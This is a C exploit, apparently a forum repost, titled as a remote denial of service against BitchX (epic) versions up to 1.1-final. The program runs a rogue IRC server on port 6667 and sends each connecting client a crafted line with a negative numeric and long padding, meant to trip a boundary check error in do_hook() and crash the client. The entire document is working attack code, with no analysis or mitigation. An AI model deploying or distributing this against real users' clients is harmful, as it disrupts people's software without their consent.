BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS
Код:
//greats to nitr0us, beck, gruba, samelat, ran, etc..
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#define PORT 6667
#define LEN 100
int intalign=-999; //use negative number
void sendbuff(int sock) {
char ptr[LEN];
char buffer[2048];
bzero(ptr,LEN);
bzero(buffer,2048);
memset(ptr,0x41,sizeof(ptr)-1);
sprintf(buffer,":%s %i %s %s\n",ptr,intalign,ptr,ptr);
write(sock,buffer,sizeof(buffer));
}
int main() {
struct sockaddr_in srv_addr, client;
int len,pid,sockfd,sock;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0) {
perror("error socket()");
exit(1);
}
bzero((char *) &srv_addr, sizeof(srv_addr));
srv_addr.sin_family = AF_INET;
srv_addr.sin_addr.s_addr = INADDR_ANY;
srv_addr.sin_port = htons(PORT);
if (bind(sockfd, (struct sockaddr *) &srv_addr,sizeof(srv_addr)) < 0) {
perror("error bind()");
exit(1);
}
printf("BitchX (epic) =<1.1-final | do_hook() Boundary Check Error Remote DoS\n");
printf("====================================================================\n");
printf("Listening on port %i\n",PORT);
listen(sockfd,5);
len = sizeof(client);
while (1) {
sock = accept(sockfd, (struct sockaddr *) &client, &len);
if (sock < 0) {
perror("error accept()");
exit(1);
}
pid = fork();
if (pid < 0) {
perror("fork()");
exit(1);
}
if (pid == 0) {
close(sockfd);
printf("Conection from %s\n",inet_ntoa(client.sin_addr));
sendbuff(sock);
exit(0);
}
else close(sock);
}
return 0;
}